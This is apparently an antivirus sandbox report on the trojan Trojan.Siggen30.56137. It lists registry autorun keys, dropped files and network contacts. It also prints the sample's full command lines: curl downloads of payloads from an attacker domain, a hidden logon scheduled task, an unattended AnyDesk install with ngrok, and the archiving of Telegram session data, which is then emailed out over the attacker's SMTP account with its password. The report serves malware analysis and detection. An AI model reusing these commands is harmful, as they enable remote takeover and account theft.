Trojan.Siggen30.56137

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'Driver Update' = '%APPDATA%\Windows\Trays\Trays.lnk'
[HKLM\Software\Classes\.anydesk\shell\open\command] '' = '"%APPDATA%\Windows\AnyDesk\AnyDesk.exe" --play "%1"'
[HKLM\Software\Classes\AnyDesk\shell\open\command] '' = '"%APPDATA%\Windows\AnyDesk\AnyDesk.exe" "%1"'
[HKLM\Software\Classes\AnyDesk-Assist\shell\open\command] '' = '"%APPDATA%\Windows\AnyDesk\AnyDesk.exe" "%1"'

Creates or modifies the following files

<SYSTEM32>\tasks\find update

Sets the following service settings

[HKLM\System\CurrentControlSet\Services\AnyDesk] 'Start' = '00000002'
[HKLM\System\CurrentControlSet\Services\AnyDesk] 'ImagePath' = '"%APPDATA%\Windows\AnyDesk\AnyDesk.exe" --service'

Creates the following services

'AnyDesk' "%APPDATA%\Windows\AnyDesk\AnyDesk.exe" --service

Malicious functions

Creates and loads libraries (exploit)

%APPDATA%\windows\trays\shelleh6055.dll

Executes the following

'%WINDIR%\syswow64\taskkill.exe' /IM telegram.exe /F /T

Modifies file system

Creates the following files

%TEMP%\$inst\2.tmp
%APPDATA%\windows\trays\locale\de2\lc_messages\default.mo
%APPDATA%\windows\trays\locale\es\lc_messages\default.mo
%APPDATA%\windows\trays\locale\fr\lc_messages\default.mo
%APPDATA%\windows\trays\locale\it\lc_messages\default.mo
%APPDATA%\windows\trays\locale\pt_br\lc_messages\default.mo
%APPDATA%\windows\trays\locale\ru\lc_messages\default.mo
%APPDATA%\windows\trays\locale\tr\lc_messages\default.mo
%APPDATA%\windows\trays\locale\zh_cn\lc_messages\default.mo
%APPDATA%\windows\trays\locale\zh_tw\lc_messages\default.mo
%APPDATA%\windows\trays\newsletter.url
%APPDATA%\windows\trays\order.txt
%APPDATA%\windows\trays\order.url
%APPDATA%\windows\trays\product.url
%APPDATA%\windows\trays\readme.txt
%APPDATA%\windows\trays\shelleh6055.dll
%APPDATA%\windows\trays\shelleh6055x64.dll
%APPDATA%\windows\trays\tray.dll
%APPDATA%\windows\trays\trays.exe
%APPDATA%\windows\trays\unins000.dat
%APPDATA%\windows\trays\unins000.exe
%APPDATA%\windows\trays\whatsnew.txt
%APPDATA%\windows\trays\wishlist.url
%APPDATA%\windows\trays\trays.lnk
%APPDATA%\4t niagara software\4t tray minimizer\trays.log
%APPDATA%\anydesk\ad.trace
%APPDATA%\windows\anydesk\anydesk.exe
%ALLUSERSPROFILE%\anydesk\system.conf.new
%APPDATA%\windows\trays\locale\de\lc_messages\default.mo
%ALLUSERSPROFILE%\anydesk\ad_svc.trace
%APPDATA%\windows\trays\license.txt
%APPDATA%\windows\trays\faq.url
%TEMP%\$inst\temp_0.tmp
%APPDATA%\windows\ГЁГ±Гµ_Г¶ГЁГЄГ«_ГЇГ®Г±ГІГ ГГ®ГўГЄГ _ГЅГЄГЎ_Г°ГЁГ¤_ГЁГ±ГЇГ»ГІГ ГГЁГї.pdf
%APPDATA%\windows\curl.exe
%APPDATA%\windows\find.cmd
%APPDATA%\windows\driver.exe
%APPDATA%\windows\pas.rar
%APPDATA%\windows\bk.rar
%LOCALAPPDATA%\adobe\color\profiles\wscrgb.icc
%LOCALAPPDATA%\adobe\color\profiles\wsrgb.icc
%LOCALAPPDATA%\adobe\color\acecache11.lst
%APPDATA%\windows\blat.exe
%APPDATA%\windows\next.exe
%APPDATA%\windows\nircmd.exe
%APPDATA%\windows\bat.bat
%APPDATA%\windows\bat1.bat
%APPDATA%\windows\task.bat
%APPDATA%\windows\anydesk.exe
%APPDATA%\windows\ssh.ps1
%APPDATA%\windows\ps.ps1
%APPDATA%\windows\tdata.rar
%APPDATA%\windows\trays\4t-min.chm
%APPDATA%\windows\trays\4t-min64.exe
%APPDATA%\windows\trays\4t-min_pad.xml
%APPDATA%\windows\trays\7z.dll
%APPDATA%\windows\trays\company.url
%APPDATA%\windows\trays\contact.url
%APPDATA%\windows\trays\delreg.exe
%APPDATA%\windows\trays\file_id.diz
%ALLUSERSPROFILE%\anydesk\service.conf.new

Deletes the following files

%TEMP%\$inst\temp_0.tmp
%TEMP%\$inst\2.tmp
%APPDATA%\windows\tdata.rar
%APPDATA%\windows\curl.exe
%ALLUSERSPROFILE%\anydesk\system.conf~rfbe5ac.tmp
%ALLUSERSPROFILE%\anydesk\service.conf~rfc0109.tmp
%APPDATA%\windows\bk.rar
%APPDATA%\windows\pas.rar
%APPDATA%\windows\find.cmd
%APPDATA%\windows\driver.exe
%APPDATA%\windows\anydesk.exe
%APPDATA%\windows\blat.exe

Moves the following files

from %ALLUSERSPROFILE%\anydesk\system.conf.new to %ALLUSERSPROFILE%\anydesk\system.conf
from %ALLUSERSPROFILE%\anydesk\system.conf to %ALLUSERSPROFILE%\anydesk\system.conf~rfbe5ac.tmp
from %ALLUSERSPROFILE%\anydesk\service.conf.new to %ALLUSERSPROFILE%\anydesk\service.conf
from %ALLUSERSPROFILE%\anydesk\service.conf to %ALLUSERSPROFILE%\anydesk\service.conf~rfc0109.tmp

Substitutes the following files

%ALLUSERSPROFILE%\anydesk\system.conf.new
%ALLUSERSPROFILE%\anydesk\system.conf
%ALLUSERSPROFILE%\anydesk\service.conf.new
%ALLUSERSPROFILE%\anydesk\service.conf

Network activity

Connects to

'vn##r.nl':80
'4t###agara.com':80

TCP

HTTP GET requests

http://vn##r.nl/file/driver.exe
http://vn##r.nl/file/pas.rar
http://vn##r.nl/file/bk.rar

HTTP POST requests

http://www.4t###agara.com/checkupdate.php

UDP

DNS ASK vn##r.nl
DNS ASK 4t###agara.com
DNS ASK bo##.##t.anydesk.com

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''
ClassName: 'TMinimizerMainForm' WindowName: ''

Creates and executes the following

'%APPDATA%\windows\curl.exe' -o %APPDATA%\Windows\driver.exe vniir.nl/file/driver.exe
'%APPDATA%\windows\driver.exe' a -r -ep -hplimpid2903392 %APPDATA%\Windows\AnyDesk.rar %ALLUSERSPROFILE%\AnyDesk /y
'%APPDATA%\windows\anydesk.exe' --set-password _unattended_access
'%APPDATA%\windows\anydesk\anydesk.exe' --new-install
'%APPDATA%\windows\anydesk\anydesk.exe' --control
'%APPDATA%\windows\anydesk\anydesk.exe' --service
'%APPDATA%\windows\trays\4t-min64.exe' "%APPDATA%\windows\Trays\ShellEh6055x64.dll"
'%APPDATA%\windows\anydesk.exe' --install %APPDATA%\Windows\AnyDesk
'%APPDATA%\windows\trays\trays.exe' -tray
'%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\bk.rar %APPDATA%\Windows\ /y
'%APPDATA%\windows\blat.exe' -to in@vniir.nl -f "TELEGRAM<sent@vniir.nl>" -server mail.vniir.nl -port 587 -u sent@vniir.nl -pw 6DSjyEDwzQwKnp4G3PG3 -subject "Telegram umfqmydtedmr/user" -body "Telegram umfqmydtedmr/user"...
'%APPDATA%\windows\driver.exe' a -r -hplimpid2903392 %APPDATA%\Windows\tdata.rar "%APPDATA%\Telegram Desktop\tdata" /y
'%APPDATA%\windows\blat.exe' -to in@vniir.nl -f "AnyDesk<sent@vniir.nl>" -server mail.vniir.nl -port 587 -u sent@vniir.nl -pw 6DSjyEDwzQwKnp4G3PG3 -subject "AnyDesk umfqmydtedmr/user" -body "AnyDesk umfqmydtedmr/user" -a...
'%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar ps.ps1 %APPDATA%\Windows\ /y
'%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar AnyDesk.exe %APPDATA%\Windows\ /y
'%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar task.bat %APPDATA%\Windows\ /y
'%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar bat1.bat %APPDATA%\Windows\ /y
'%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar bat.bat %APPDATA%\Windows\ /y
'%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar ngrok %APPDATA%\Windows\ /y
'%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar nircmd.exe %APPDATA%\Windows\ /y
'%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar ngrok.exe %APPDATA%\Windows\ /y
'%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar next.exe %APPDATA%\Windows\ /y
'%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar blat.exe %APPDATA%\Windows\ /y
'%APPDATA%\windows\curl.exe' -o %APPDATA%\Windows\bk.rar vniir.nl/file/bk.rar
'%APPDATA%\windows\curl.exe' -o %APPDATA%\Windows\pas.rar vniir.nl/file/pas.rar
'%APPDATA%\windows\driver.exe' x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar ssh.ps1 %APPDATA%\Windows\ /y
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "& { . '%APPDATA%\Windows\ssh.ps1' }"

Executes the following

'%ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrord32.exe' "%APPDATA%\Windows\Г€Г±Гµ_Г–Г€ГЉГ‹_ГЏГ®Г±ГІГ ГГ®ГўГЄГ _ГќГЉГЃ_ГђГ€Г„_Г€Г±ГЇГ»ГІГ ГГЁГї.pdf"
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar bat.bat %APPDATA%\Windows\ /y
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar bat1.bat %APPDATA%\Windows\ /y
'%WINDIR%\syswow64\schtasks.exe' /create /tn "Find update" /tr "%APPDATA%\Windows\nircmd.exe exec hide %APPDATA%\Windows\task.bat" /sc onlogon /rl highest /f
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd AnyDesk.exe --install %APPDATA%\Windows\AnyDesk
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar ssh.ps1 %APPDATA%\Windows\ /y
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar ps.ps1 %APPDATA%\Windows\ /y
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar ngrok %APPDATA%\Windows\ /y
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar AnyDesk.exe %APPDATA%\Windows\ /y
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd taskkill /IM telegram.exe /F /T
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -hplimpid2903392 %APPDATA%\Windows\tdata.rar "%APPDATA%\Telegram Desktop\tdata" /y
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "TELEGRAM<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Telegram umfqmydtedmr/use...
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\tdata.rar
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q %APPDATA%\Windows\curl.exe
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd schtasks /create /tn "Find update" /tr "%APPDATA%\Windows\nircmd.exe exec hide %APPDATA%\Windows\task.bat" /sc onlogon /rl highest /f
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd move "%APPDATA%\Windows\ngrok" "%LOCALAPPDATA%"
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd start %APPDATA%\Windows\Trays\Trays.lnk
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\bk.rar %APPDATA%\Windows\ /y
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd bat.bat
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar nircmd.exe %APPDATA%\Windows\ /y
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar ngrok.exe %APPDATA%\Windows\ /y
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar task.bat %APPDATA%\Windows\ /y
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar next.exe %APPDATA%\Windows\ /y
'%WINDIR%\syswow64\attrib.exe' +s +h %APPDATA%\Windows
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\curl.exe -o %APPDATA%\Windows\driver.exe vniir.nl/file/driver.exe
'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\Windows\find.cmd" "
'%WINDIR%\syswow64\cmd.exe' /c echo>%APPDATA%\Windows\find.cmd cd %APPDATA%\Windows\
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd set smtp=mail.vniir.nl
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd set mail-in=in@vniir.nl
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\curl.exe -o %APPDATA%\Windows\pas.rar vniir.nl/file/pas.rar
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\curl.exe -o %APPDATA%\Windows\bk.rar vniir.nl/file/bk.rar
'%WINDIR%\syswow64\cmd.exe' /S /D /c" echo QWERTY1234566 "
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar blat.exe %APPDATA%\Windows\ /y
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd set pass-out=6DSjyEDwzQwKnp4G3PG3
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd set mail-out=sent@vniir.nl
'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\Windows\find.cmd" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar ngrok.exe %APPDATA%\Windows\ /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd bat.bat' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>%APPDATA%\Windows\find.cmd cd %APPDATA%\Windows\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd AnyDesk.exe --install %APPDATA%\Windows\AnyDesk' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\curl.exe -o %APPDATA%\Windows\driver.exe vniir.nl/file/driver.exe' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar bat1.bat %APPDATA%\Windows\ /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar nircmd.exe %APPDATA%\Windows\ /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q %APPDATA%\Windows\curl.exe' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd set mail-out=sent@vniir.nl' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd del /q /f %APPDATA%\Windows\tdata.rar' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\curl.exe -o %APPDATA%\Windows\bk.rar vniir.nl/file/bk.rar' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar blat.exe %APPDATA%\Windows\ /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\bk.rar %APPDATA%\Windows\ /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd start %APPDATA%\Windows\Trays\Trays.lnk' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar ps.ps1 %APPDATA%\Windows\ /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd set mail-in=in@vniir.nl' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe a -r -hplimpid2903392 %APPDATA%\Windows\tdata.rar "%APPDATA%\Telegram Desktop\tdata" /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar AnyDesk.exe %APPDATA%\Windows\ /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\curl.exe -o %APPDATA%\Windows\pas.rar vniir.nl/file/pas.rar' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar ssh.ps1 %APPDATA%\Windows\ /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar bat.bat %APPDATA%\Windows\ /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar task.bat %APPDATA%\Windows\ /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd schtasks /create /tn "Find update" /tr "%APPDATA%\Windows\nircmd.exe exec hide %APPDATA%\Windows\task.bat" /sc onlogon /rl highest /f' (with hidden window)
'%WINDIR%\syswow64\attrib.exe' +s +h %APPDATA%\Windows' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar next.exe %APPDATA%\Windows\ /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd set smtp=mail.vniir.nl' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd taskkill /IM telegram.exe /F /T' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\driver.exe x -r -ep2 -hplimpid2903392 %APPDATA%\Windows\pas.rar ngrok %APPDATA%\Windows\ /y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd %APPDATA%\Windows\blat.exe -to %mail-in% -f "TELEGRAM<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "Telegram umfqmydtedmr/use...' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd set pass-out=6DSjyEDwzQwKnp4G3PG3' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c echo>>%APPDATA%\Windows\find.cmd move "%APPDATA%\Windows\ngrok" "%LOCALAPPDATA%"' (with hidden window)

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial